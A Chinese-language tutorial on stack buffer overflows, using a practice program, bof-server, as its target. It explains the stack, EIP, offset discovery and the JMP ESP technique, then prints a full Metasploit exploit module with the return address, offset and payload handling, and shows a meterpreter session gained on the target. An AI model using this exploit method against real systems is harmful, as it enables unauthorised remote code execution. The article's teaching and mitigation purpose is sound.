1背景
栈缓存溢出漏洞自1988年出现至今已过去30多年了【1】,它以其危害性及广泛性早已引起了广大信息安全领域研究人员的重视。多年以来,随着***双方技术的交替进步,对于此类漏洞的控制已经不像最初阶段那么无力,但是不得不说,由于栈缓存溢出漏洞的产生根源是程序设计不严谨所导致,换个更直接的说法就是该漏洞的产生可认为是人为的编码疏忽,因此,在未来很长的一段时间内它还将与我们共存。本文将利用Metasploit框架开发一个针对软件bof-server栈缓存溢出漏洞的破解模块,以此为例,讲解此类漏洞的危害及预防措施。由于Metasploit框架是进行***测试的优秀工具,它提供了大量的漏洞***模块库,集成了优秀的模块开发环境,所以,我们选择它作为本文的实验工具。
2栈缓存溢出漏洞的原理
在微软的定义里,缓存溢出***是一种***者用自己的代码覆盖程序原有代码的行为,如果被覆盖的恶意代码是一段受***者控制的可执行代码,那么***者就可以在目标系统中进行意料之外的操作。
栈是一种数据结构,栈中数据的写入和读取只能从栈顶进行操作,它遵循后进先出的原则。栈支持两种操作:push和pop。push是将数据添加到栈顶。pop是将数据从栈顶弹出。让我们看一下C程序的内存布局、它的内容以及它在函数调用和返回期间是如何工作的。如下图所示:
利用Metasploit破解栈缓存溢出漏洞的一个例子
其中,Text:包含要执行的程序代码。Data:包含程序的全局信息。Stack:包含函数参数,返回地址和函数的局部变量。它是后进先出的数据结构。随着新函数的调用,它在内存中向下增长(从较高的地址空间到较低的地址空间)。Heap:容纳所有动态分配的内存。 每当我们使用malloc动态获取内存时,它都是从堆中分配的。 随着需要越来越多的内存,堆在内存中的增长(从低到高)。
对于基于栈的缓存溢出,我们把注意力集中在寄存器EBP、EIP和ESP上。EBP指向堆栈底部的较高内存地址,ESP则指向堆栈顶部的较低内存位置。EIP中存储的是下一条指令的地址。我们主要关注EIP寄存器,因为我们需要劫持程序的执行顺序。由于EIP只是一个寄存器,所以我们无法为其分配要执行指令的内存地址。
利用Metasploit破解栈缓存溢出漏洞的一个例子
当函数执行时,一个包含有函数信息的栈帧(stack frame)会被压入栈中。一旦函数执行完毕,栈帧会被弹出栈,函数完成执行后,将从栈中弹出相关的栈帧,并在中断的调用的函数中继续执行。CPU知道必须从何处继续执行程序,它是从调用函数时压入栈的返回地址获得此信息。
为了方便理解,我们举一个例子:在主函数中调用func()。因此,当程序开始时,将调用main(),并为其分配一个栈帧并将其压入栈。接下来main()调用func(),同样是分配栈帧,将其压入栈并将执行移交给func(),main()通过将这个值(返回地址)压入栈,来指出当func()返回(通常是在调用func()之后的代码行)时,需要继续执行的地方。
利用Metasploit破解栈缓存溢出漏洞的一个例子
在func()函数执行完后,它的栈帧被弹出,其中存储的返回地址被加载到EIP寄存器中,继续执行main()。如果我们能够控制返回地址,我们就能在func()返回时劫持将要执行的指令。

3***思路
首先,我们下载并运行bof-server。可以看到这个程序在端口200上提供TCP服务。如下图所示:
利用Metasploit破解栈缓存溢出漏洞的一个例子
然后,我们向TCP 200端口发起TELNET连接,建立连接后向其发送若干随机数据。如下图所示:
利用Metasploit破解栈缓存溢出漏洞的一个例子
我们发现,当提供一定数量的随机数据之后,连接就断开了,这是因为目标服务器已经崩溃。来看一看目标服务器上的报错信息。如下图所示:
利用Metasploit破解栈缓存溢出漏洞的一个例子
点击“click here”,查看详细情况,发现程序是由于无法在地址41414141处找到下一条要执行的指令,从而导致了程序的崩溃。因为我们随机输入的是若干个字母A,而值41就是字母A的十六进制表示,这说明我们输入的数据已经超出了缓存的范围,而且覆盖了EIP寄存器。接下来,程序试图执行41414141这个地址上指令,显然这不是一个有效的地址,因此,程序崩溃了。
由于我们的输入数据超出了程序栈的缓存范围,引发了程序的栈缓存溢出漏洞,导致程序崩溃。如果我们控制好输入的数据,使得覆盖EIP寄存器的内容恰好是我们想要执行的代码地址,那么我们就控制了服务器,从而完成了漏洞利用。

4***的步骤
根据上一节的思路,我们将利用Metasploit框架开发一个破解模块,触发漏洞并运行我们想要执行的其它代码。
模块开发的第一个步骤是找出偏移量,在这个过程中将用到Metasploit中的两款工具,分别是pattern_create和pattern_offset。工具pattern_create用来按一定规律生成字符,例如:#./pattern_create.rb 1000,表示生成1000个字符。将这些字符发送给目标服务器后如果程序崩溃,就能得到一个地址的值,我们得到的地址值是72413372,将该值作为参数,使用工具pattern_offset就能得到具体的偏移量,例如:#./pattern_offset.rb 72413372 1000,表示EIP中的地址为72413372,填充1000个字符。最后,我们得出的偏移量是520,在520个字节后面的4个字节的数据就会覆盖EIP寄存器。
接下来,我们还将使用Metasploit中的另一个工具msfpescan来找到程序中JMP ESP指令的地址,在这里我们利用bof-server程序调用的一个DLL文件ws2_32.dll。命令如下:#./msfpescan -j esp -f /root/Desktop/ws2_32.dll,参数-j后面的是寄存器名,这里用到的寄存器是ESP,返回结果为0x71ab9372,这是ws2_32.dll文件中JMP ESP指令的地址。只需要用这个地址来重写
EIP寄存器中的内容,就可以执行我们的代码。
到目前为止,我们已经掌握了开发Metasploit程序破解模块的主要内容,让我们看看代码代码是怎样的。如下所示:
require ‘msf/core’

class Metasploit3<Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
    super(update_info(info,
        ‘Name’ =>’Stack Based Buffer Overflow Example’,
        ‘Description’ => %q{
    Stack Based Overflow Example Application Exploitation Module

},
‘Platform’ => ‘win’,
‘Author’ =>
[
‘Nipun Jaswal’
]
‘Payload’ =>
{
‘space’ => 1000,
‘BadChars’ =>”\x00\xff”,
}
‘Targets’ =>
[
[‘Windows XP SP2’,{‘Ret’ => 0x71AB9372,’Offset’ => 520}]
],
‘DisclosureDate’ => ‘Apr 19 2016’
))
register_options(
[
Opt::RPORT(200)
],self.class)
end
在分析代码之前,我们先看看模块中用到的库,请看下表:
包含声明 路径 用途
Msf::Exploit::Remote::Tcp /lib/msf/core/exploit/tcp.rb 该库提供基本的TCP函数,例如:连接、断开连接和写数据等。利用Metasploit破解栈缓存溢出漏洞的一个例子
破解模块开头就是包含各种必要的路径和文件。我们把模块类型定义为Msf::Exploit::Remote,意味着它是一个远程破解模块。接下来,我们在initialize方法中定义name,description,author等基本信息。另外,我们还看到大量的其它声明。请看下表:
声明 值 用途
Platform win 定义***目标的平台类型。win代表破解模块在基于windows操作系统的平台上有用。
DisclosureDate Apr 19 2016 漏洞披露的日期。
Targets Ret:0x71AB9372 特定操作系统的Ret字段定义了我们在上一节中找到的JMP ESP地址。
Targets Offset:520 Offset字段定义在EIP之前需要填充的缓存字节数。
Payload Space:1000 space字段定义payload的最大可用空间。这很重要,因为,有时我们只有恨少的空间用来加载shellcode。
Payload BadChars:\x00\xff BadChars变量定义了payload生成过程中需要避免的字符。声明坏字符的作用是保证稳定性。删除坏字符是为了避免程序崩溃或payload不执行。利用Metasploit破解栈缓存溢出漏洞的一个例子
我们在register_options部分还定义了破解模块的默认端口为200。我们接着看剩下的代码:
def exploit
connect
buf = make_nops(target[‘Offset’])
buf = buf + [target[‘Ret’]].pack(‘V’) + make_nops(10) + payload.encoded
sock.put(buf)
handler
disconnect
end
end
让我们看看上面代码中用到的一些重要函数:
函数 库 用途
make_nops /lib/msf/core/exploit.rb 该方法用来创建多个NOP。
Connect /lib/msf/core/exploit/tcp.rb 建立与目标的连接。
disconnect /lib/msf/core/exploit/tcp.rb 中断与目标的连接。
handler /lib/msf/core/exploit.rb 将连接传递给相应的payload处理。利用Metasploit破解栈缓存溢出漏洞的一个例子
在我们之前编写的模块中,run方法是辅助模块的默认方法。然而,对于破解模块而言,默认的方法是exploit。
我们使用connect连接目标。使用make_nops函数创造520个NOP,这个数来自initialize函数中定义的target的Offset。把520个NOPs存储到变量buf中。下一条指令,我们通过从target声明的Ret字段中获取其值,将JMP ESP地址附加到buf。使用函数pack(‘V’),我们得到地址的小端格式。在Ret地址之后,我们附加几个NOPs作为ShellCode之前的填充。使用Metasploit的优点之一是能在运行中切换payload。因此,只需要简单的使用payload.encoded就能把当前所选的payload附加在变量buf之后。
接下来,使用函数sock.put建立与目标的连接,参数是buf。使用handler方法检查目标是否被成功破解,如果成功破解则会建立连接。最后,用disconnect断开连接。我们来看看使用的效果:
利用Metasploit破解栈缓存溢出漏洞的一个例子
我们设置必要的参数,payload设置为windows/meterpreter/bind_tcp,这意味着到目标的直接连接。让我们看看使用exploit命令后会发生什么:
利用Metasploit破解栈缓存溢出漏洞的一个例子
显然,我们编写的破解模块成功了,获得一个meterpreter会话,通过该会话可以在目标服务器上进行非授权操作。

5总结
通过上述例子,我们发现栈缓存溢出漏洞虽然早在上个世纪八十年代就存在,但至今仍对信息系统安全有着重要的影响。为了规避该漏洞,目前一般有几种做法:使内存执行的堆栈部分为非可执行文件;使用更加健壮的C和C++库;通过编译器保护返回地址;使用防火墙【2】等等。最理想的办法是雇佣最好的程序员谨慎编码,当然这本身就不是一件容易的事。因此,我们需要对程序进行严格的模糊测试,降低栈缓存溢出漏洞发生的概率。

参考文献:
【1】Rober Morris web site:http://pdos.csail.mit.edu/~rtm/
【2】Crispin Cowan, Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole, Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade, in DARPA Information Survivability Conference and Expo 2000.